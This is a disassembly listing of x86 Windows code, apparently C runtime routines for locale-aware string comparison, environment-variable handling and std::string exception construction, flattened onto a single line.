T I N E ======================================= ; Attributes: bp-based frame sub_41FFF0 proc near ; CODE XREF: sub_41F407+440p ; sub_41F8D8+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43AA10 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_420069 jge short loc_420018 mov eax, [ebp+arg_4] mov ebx, offset dword_43AB70 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_420018: ; CODE XREF: sub_41FFF0+16j cmp [ebp+arg_8], ecx jnz short loc_420023 mov eax, [ebp+arg_0] mov [eax], cx loc_420023: ; CODE XREF: sub_41FFF0+2Bj cmp [ebp+arg_4], ecx jz short loc_420069 push esi push edi loc_42002A: ; CODE XREF: sub_41FFF0+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_420062 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_420055 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_420055: ; CODE XREF: sub_41FFF0+57j push esi push [ebp+arg_0] call sub_41FDD0 pop ecx pop ecx xor ecx, ecx loc_420062: ; CODE XREF: sub_41FFF0+49j cmp [ebp+arg_4], ecx jnz short loc_42002A pop edi pop esi loc_420069: ; CODE XREF: sub_41FFF0+14j ; sub_41FFF0+36j pop ebx leave retn sub_41FFF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42006C proc near ; CODE XREF: sub_41FCDD+5Ep ; sub_420548+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_420079 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_420079: ; CODE XREF: sub_42006C+7j push dword_46CA64 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_46CC84 call sub_420119 add esp, 1Ch test eax, eax jnz short loc_4200A6 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4200A6: ; CODE XREF: sub_42006C+31j add eax, 0FFFFFFFEh pop ebp retn sub_42006C endp ; =============== S U B R O U T I N E ======================================= sub_4200AB proc near ; CODE XREF: sub_41FCDD+1Ep ; sub_4203C1+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_46B664 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_42010C mov ebx, dword_421138 loc_4200C4: ; CODE XREF: sub_4200AB+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_420114 push ebp call sub_415BE9 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_420114 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_420114 push edi push [esp+18h+var_4] call sub_4203C1 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_4200C4 loc_42010C: ; CODE XREF: sub_4200AB+11j xor eax, eax loc_42010E: ; CODE XREF: sub_4200AB+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_420114: ; CODE XREF: sub_4200AB+29j ; sub_4200AB+38j ... or eax, 0FFFFFFFFh jmp short loc_42010E sub_4200AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420119 proc near ; CODE XREF: sub_42006C+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421C50 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_46B920, ebx push 1 pop edi jnz short loc_42018C push edi mov eax, offset dword_4218A0 push eax push edi push eax push ebx push ebx call dword_421008 ; CompareStringW test eax, eax jz short loc_420169 mov dword_46B920, edi jmp short loc_42018C ; --------------------------------------------------------------------------- loc_420169: ; CODE XREF: sub_420119+46j push edi mov eax, offset dword_43B198 push eax push edi push eax push ebx push ebx call dword_42100C ; CompareStringA test eax, eax jz loc_420382 mov dword_46B920, 2 loc_42018C: ; CODE XREF: sub_420119+31j ; sub_420119+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_4201A3 push esi push [ebp+arg_8] call sub_420396 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_4201A3: ; CODE XREF: sub_420119+78j cmp [ebp+arg_14], ebx jle short loc_4201B8 push [ebp+arg_14] push [ebp+arg_10] call sub_420396 pop ecx pop ecx mov [ebp+arg_14], eax loc_4201B8: ; CODE XREF: sub_420119+8Dj mov eax, dword_46B920 cmp eax, 2 jnz short loc_4201DD push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42100C ; CompareStringA jmp loc_420384 ; --------------------------------------------------------------------------- loc_4201DD: ; CODE XREF: sub_420119+A7j cmp eax, edi jnz loc_420382 cmp [ebp+arg_18], ebx jnz short loc_4201F2 mov eax, dword_46B6DC mov [ebp+arg_18], eax loc_4201F2: ; CODE XREF: sub_420119+CFj cmp esi, ebx jz short loc_4201FF cmp [ebp+arg_14], ebx jnz loc_420297 loc_4201FF: ; CODE XREF: sub_420119+DBj cmp esi, [ebp+arg_14] jnz short loc_42020C loc_420204: ; CODE XREF: sub_420119+13Cj ; sub_420119+16Dj push 2 loc_420206: ; CODE XREF: sub_420119+146j pop eax jmp loc_420384 ; --------------------------------------------------------------------------- loc_42020C: ; CODE XREF: sub_420119+E9j cmp [ebp+arg_14], edi jle short loc_420218 loc_420211: ; CODE XREF: sub_420119+151j ; sub_420119+159j ... mov eax, edi jmp loc_420384 ; --------------------------------------------------------------------------- loc_420218: ; CODE XREF: sub_420119+F6j cmp esi, edi jg short loc_42025D lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_421198 ; GetCPInfo test eax, eax jz loc_420382 cmp esi, ebx jle short loc_420261 cmp [ebp+var_3C], 2 jb short loc_42025D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42025D loc_420243: ; CODE XREF: sub_420119+142j mov dl, [eax+1] cmp dl, bl jz short loc_42025D mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_420257 cmp cl, dl jbe short loc_420204 loc_420257: ; CODE XREF: sub_420119+138j inc eax inc eax cmp [eax], bl jnz short loc_420243 loc_42025D: ; CODE XREF: sub_420119+101j ; sub_420119+120j ... push 3 jmp short loc_420206 ; --------------------------------------------------------------------------- loc_420261: ; CODE XREF: sub_420119+11Aj cmp [ebp+arg_14], ebx jle short loc_420297 cmp [ebp+var_3C], 2 jb short loc_420211 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_420211 loc_420274: ; CODE XREF: sub_420119+177j mov dl, [eax+1] cmp dl, bl jz short loc_420211 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42028C cmp cl, dl jbe loc_420204 loc_42028C: ; CODE XREF: sub_420119+169j inc eax inc eax cmp [eax], bl jnz short loc_420274 jmp loc_420211 ; --------------------------------------------------------------------------- loc_420297: ; CODE XREF: sub_420119+E0j ; sub_420119+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_420382 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_415B90 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4202E6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4202E6: ; CODE XREF: sub_420119+1B5j cmp [ebp+var_24], ebx jz loc_420382 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_421064 call esi ; MultiByteToWideChar test eax, eax jz short loc_420382 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_420382 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415B90 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_420351 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_420351: ; CODE XREF: sub_420119+224j cmp edi, ebx jz short loc_420382 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_420382 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421008 ; CompareStringW jmp short loc_420384 ; --------------------------------------------------------------------------- loc_420382: ; CODE XREF: sub_420119+63j ; sub_420119+C6j ... xor eax, eax loc_420384: ; CODE XREF: sub_420119+BFj ; sub_420119+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_420119 endp ; =============== S U B R O U T I N E ======================================= sub_420396 proc near ; CODE XREF: sub_41C639+81p ; sub_420119+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4203B3 loc_4203A6: ; CODE XREF: sub_420396+1Bj cmp byte ptr [eax], 0 jz short loc_4203B3 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4203A6 loc_4203B3: ; CODE XREF: sub_420396+Ej ; sub_420396+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4203BE sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4203BE: ; CODE XREF: sub_420396+21j mov eax, edx retn sub_420396 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4203C1 proc near ; CODE XREF: sub_4200AB+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_420425 push 3Dh push [ebp+arg_0] call sub_420607 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_420425 cmp [ebp+arg_0], esi jz short loc_420425 mov eax, dword_46B65C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_46B660 jnz short loc_42040B push eax call sub_4205A0 pop ecx mov dword_46B65C, eax loc_42040B: ; CODE XREF: sub_4203C1+3Cj cmp eax, edi jnz short loc_420463 cmp [ebp+arg_4], edi jz short loc_42042D cmp dword_46B664, edi jz short loc_42042D call sub_4200AB test eax, eax jz short loc_420463 loc_420425: ; CODE XREF: sub_4203C1+Dj ; sub_4203C1+22j ... or eax, 0FFFFFFFFh loc_420428: ; CODE XREF: sub_4203C1+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42042D: ; CODE XREF: sub_4203C1+51j ; sub_4203C1+59j cmp ebx, edi jnz loc_420541 push 4 call sub_415BE9 cmp eax, edi pop ecx mov dword_46B65C, eax jz short loc_420425 mov [eax], edi cmp dword_46B664, edi jnz short loc_420463 push 4 call sub_415BE9 cmp eax, edi pop ecx mov dword_46B664, eax jz short loc_420425 mov [eax], edi loc_420463: ; CODE XREF: sub_4203C1+4Cj ; sub_4203C1+62j ... sub esi, [ebp+arg_0] mov edi, dword_46B65C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_420548 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4204C3 cmp dword ptr [edi], 0 jz short loc_4204C3 test ebx, ebx jz short loc_4204BB push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415C9B pop ecx loc_420495: ; CODE XREF: sub_4203C1+E2j cmp dword ptr [edi], 0 jz short loc_4204A5 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_420495 ; --------------------------------------------------------------------------- loc_4204A5: ; CODE XREF: sub_4203C1+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41737F pop ecx test eax, eax pop ecx jz short loc_4204F5 jmp short loc_4204F0 ; --------------------------------------------------------------------------- loc_4204BB: ; CODE XREF: sub_4203C1+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4204F5 ; --------------------------------------------------------------------------- loc_4204C3: ; CODE XREF: sub_4203C1+BDj ; sub_4203C1+C2j test ebx, ebx jnz short loc_420541 test esi, esi jge short loc_4204CD neg esi loc_4204CD: ; CODE XREF: sub_4203C1+108j lea eax, ds:8[esi*4] push eax push edi call sub_41737F pop ecx test eax, eax pop ecx jz loc_420425 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4204F0: ; CODE XREF: sub_4203C1+F8j mov dword_46B65C, eax loc_4204F5: ; CODE XREF: sub_4203C1+F6j ; sub_4203C1+100j cmp [ebp+arg_4], 0 jz short loc_420541 push [ebp+arg_0] call sub_415B10 inc eax inc eax push eax call sub_415BE9 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_420541 push [ebp+arg_0] push esi call sub_415A20 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_421004 ; SetEnvironmentVariableA push esi call sub_415C9B pop ecx loc_420541: ; CODE XREF: sub_4203C1+6Ej ; sub_4203C1+104j ... xor eax, eax jmp loc_420428 sub_4203C1 endp ; =============== S U B R O U T I N E ======================================= sub_420548 proc near ; CODE XREF: sub_4203C1+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_46B65C push edi mov eax, [esi] test eax, eax jz short loc_420583 mov edi, [esp+8+arg_4] loc_42055A: ; CODE XREF: sub_420548+39j push edi push eax push [esp+10h+arg_0] call sub_42006C add esp, 0Ch test eax, eax jnz short loc_420579 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_420593 test al, al jz short loc_420593 loc_420579: ; CODE XREF: sub_420548+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42055A loc_420583: ; CODE XREF: sub_420548+Cj mov eax, esi sub eax, dword_46B65C sar eax, 2 neg eax loc_420590: ; CODE XREF: sub_420548+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_420593: ; CODE XREF: sub_420548+2Bj ; sub_420548+2Fj mov eax, esi sub eax, dword_46B65C sar eax, 2 jmp short loc_420590 sub_420548 endp ; =============== S U B R O U T I N E ======================================= sub_4205A0 proc near ; CODE XREF: sub_4203C1+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_4205AF xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4205AF: ; CODE XREF: sub_4205A0+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4205C1 loc_4205B7: ; CODE XREF: sub_4205A0+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4205B7 loc_4205C1: ; CODE XREF: sub_4205A0+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415BE9 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4205E2 push 9 call sub_417C0E pop ecx loc_4205E2: ; CODE XREF: sub_4205A0+38j mov eax, [edi] mov ebx, edi loc_4205E6: ; CODE XREF: sub_4205A0+5Bj test eax, eax jz short loc_4205FD push eax add ebx, 4 call sub_42067A mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4205E6 ; --------------------------------------------------------------------------- loc_4205FD: ; CODE XREF: sub_4205A0+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_4205A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420607 proc near ; CODE XREF: sub_4203C1+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_46CA7C, 0 jnz short loc_420622 push [ebp+arg_4] push [ebp+arg_0] call sub_416F20 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_420622: ; CODE XREF: sub_420607+Aj mov ecx, [ebp+arg_0] loc_420625: ; CODE XREF: sub_420607+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_420668 movzx edx, al test byte_46CB81[edx], 4 jz short loc_420654 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_42065F movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_420663 jmp short loc_42065C ; --------------------------------------------------------------------------- loc_420654: ; CODE XREF: sub_420607+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_420668 loc_42065C: ; CODE XREF: sub_420607+4Bj inc ecx jmp short loc_420625 ; --------------------------------------------------------------------------- loc_42065F: ; CODE XREF: sub_420607+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_420663: ; CODE XREF: sub_420607+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_420668: ; CODE XREF: sub_420607+25j ; sub_420607+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_420607 endp ; =============== S U B R O U T I N E ======================================= sub_42067A proc near ; CODE XREF: sub_4098D4+21p ; sub_4205A0+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4206A1 push esi call sub_415B10 inc eax push eax call sub_415BE9 pop ecx test eax, eax pop ecx jz short loc_4206A1 push esi push eax call sub_415A20 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4206A1: ; CODE XREF: sub_42067A+7j ; sub_42067A+1Aj xor eax, eax pop esi retn sub_42067A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4206B0 proc near ; CODE XREF: sub_404ADF+12p ; sub_404B39+12p ... mov eax, offset loc_420BA0 call sub_4162F0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404CE4 mov esi, offset aStringTooLong ; "string too long" push esi call sub_415B10 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D1C and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_42070A lea eax, [ebp-3Ch] push offset dword_421FA8 push eax mov dword ptr [ebp-3Ch], offset off_421C6C call sub_420B09 pop esi sub_4206B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42070A proc near ; CODE XREF: sub_4206B0+3Fp ; sub_4208DC+3Fp mov eax, offset loc_420BB4 call sub_4162F0 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_43B188 call sub_420A2E mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_404CE4 push dword_421C98 mov ecx, edi push 0 push ebx call sub_404B91 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C8C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_42070A endp ; =============== S U B R O U T I N E ======================================= sub_42076E proc near ; DATA XREF: seg001:00421C70o ; seg001:00421C90o ... mov eax, [ecx+10h] test eax, eax jnz short locret_42077A mov eax, offset dword_421258 locret_42077A: ; CODE XREF: sub_42076E+5j retn sub_42076E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42077B proc near ; DATA XREF: seg001:00421C94o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4207F1 lea eax, [ebp+var_1C] push offset dword_422018 push eax call sub_420B09 sub_42077B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420798 proc near ; CODE XREF: seg001:004207D8p ; DATA XREF: seg001:0042201Co mov eax, offset loc_420BC8 call sub_4162F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C8C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404CE4 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420AB5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_420798 endp ; --------------------------------------------------------------------------- loc_4207D5: ; DATA XREF: seg001:off_421C8Co push esi mov esi, ecx call sub_420798 test byte ptr [esp+8], 1 jz short loc_4207EB push esi call sub_41630F pop ecx loc_4207EB: ; CODE XREF: seg001:004207E2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4207F1 proc near ; CODE XREF: sub_42077B+Ap ; sub_4208C4+7p ... mov eax, offset loc_420BDC call sub_4162F0 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_420A6B mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_404CE4 push dword_421C98 mov ecx, edi push 0 push ebx call sub_404B91 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C8C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_4207F1 endp ; =============== S U B R O U T I N E ======================================= sub_42084E proc near ; CODE XREF: sub_42088B+20p ; DATA XREF: seg001:00421FACo mov eax, offset loc_420BF0 call sub_4162F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C8C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404CE4 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420AB5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_42084E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42088B proc near ; DATA XREF: seg001:00421C74o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4208C4 lea eax, [ebp+var_1C] push offset dword_421FA8 push eax call sub_420B09 loc_4208A8: ; DATA XREF: seg001:off_421C6Co push esi mov esi, ecx call sub_42084E test [esp+20h+var_18], 1 jz short loc_4208BE push esi call sub_41630F pop ecx loc_4208BE: ; CODE XREF: sub_42088B+2Aj mov eax, esi pop esi retn 4 sub_42088B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4208C4 proc near ; CODE XREF: sub_42088B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4207F1 mov dword ptr [esi], offset off_421C6C mov eax, esi pop esi retn 4 sub_4208C4 endp ; =============== S U B R O U T I N E ======================================= sub_4208DC proc near ; CODE XREF: sub_404B91+13p ; sub_404D51+Ep mov eax, offset loc_420C04 call sub_4162F0 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404CE4 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_415B10 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D1C and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_42070A lea eax, [ebp-3Ch] push offset dword_4220D0 push eax mov dword ptr [ebp-3Ch], offset off_421CA0 call sub_420B09 pop esi sub_4208DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420936 proc near ; CODE XREF: sub_420973+20p ; DATA XREF: seg001:004220D4o mov eax, offset loc_420C18 call sub_4162F0 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C8C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404CE4 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_420AB5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_420936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420973 proc near ; DATA XREF: seg001:00421CA8o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4209AC lea eax, [ebp+var_1C] push offset dword_4220D0 push eax call sub_420B09 loc_420990: ; DATA XREF: seg001:off_421CA0o push esi mov esi, ecx call sub_420936 test [esp+20h+var_18], 1 jz short loc_4209A6 push esi call sub_41630F pop ecx loc_4209A6: ; CODE XREF: sub_420973+2Aj mov eax, esi pop esi retn 4 sub_420973 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4209AC proc near ; CODE XREF: sub_420973+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4207F1 mov dword ptr [esi], offset off_421CA0 mov eax, esi pop esi retn 4 sub_4209AC endp ; =============== S U B R O U T I N E ======================================= sub_4209C4 proc near ; DATA XREF: seg001:0042300Co ; FUNCTION CHUNK AT 004209FA SIZE 0000000C BYTES test byte_46B924, 1 jnz short loc_4209D4 or byte_46B924, 1 loc_4209D4: ; CODE XREF: sub_4209C4+7j call sub_4209EE test byte_46CCC0, 1 jnz short loc_4209E9 or byte_46CCC0, 1 loc_4209E9: ; CODE XREF: sub_4209C4+1Cj jmp loc_4209FA sub_4209C4 endp ; =============== S U B R O U T I N E ======================================= sub_4209EE proc near ; CODE XREF: sub_4209C4:loc_4209D4p push offset nullsub_1 call sub_4166D0 pop ecx retn sub_4209EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4209C4 loc_4209FA: ; CODE XREF: sub_4209C4:loc_4209E9j push offset nullsub_1 call sub_4166D0 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4209C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420A06 proc near ; CODE XREF: sub_40443B+5Ep ; sub_405398+157p jmp dword_4211D8 sub_420A06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420A0C proc near ; CODE XREF: sub_415F5C+23p ; sub_416200+13p jmp dword_421154 sub_420A0C endp ; =============== S U B R O U T I N E ======================================= sub_420A12 proc near ; DATA XREF: seg001:off_421CC8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_420AB5 test [esp+4+arg_0], 1 jz short loc_420A28 push esi call sub_41630F pop ecx loc_420A28: ; CODE XREF: sub_420A12+Dj mov eax, esi pop esi retn 4 sub_420A12 endp ; =============== S U B R O U T I N E ======================================= sub_420A2E proc near ; CODE XREF: sub_42070A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421CC8 push dword ptr [edi] call sub_415B10 inc eax push eax call sub_416655 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_420A5D push dword ptr [edi] push eax call sub_415A20 pop ecx pop ecx loc_420A5D: ; CODE XREF: sub_420A2E+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_420A2E endp ; =============== S U B R O U T I N E ======================================= sub_420A6B proc near ; CODE XREF: sub_4207F1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421CC8 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_420AA8 push dword ptr [edi+4] call sub_415B10 inc eax push eax call sub_416655 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_420AAE push dword ptr [edi+4] push eax call sub_415A20 pop ecx pop ecx jmp short loc_420AAE ; --------------------------------------------------------------------------- loc_420AA8: ; CODE XREF: sub_420A6B+16j mov eax, [edi+4] mov [esi+4], eax loc_420AAE: ; CODE XREF: sub_420A6B+2Ej ; sub_420A6B+3Bj mov eax, esi pop edi pop esi retn 4 sub_420A6B endp ; =============== S U B R O U T I N E ======================================= sub_420AB5 proc near ; CODE XREF: sub_420798+2Bp ; sub_42084E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_421CC8 jz short locret_420ACA push dword ptr [ecx+4] call sub_41630F pop ecx locret_420ACA: ; CODE XREF: sub_420AB5+Aj retn sub_420AB5 endp ; --------------------------------------------------------------------------- mov eax, [ecx+4] test eax, eax jnz short locret_420AD7 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_420AD7: ; CODE XREF: 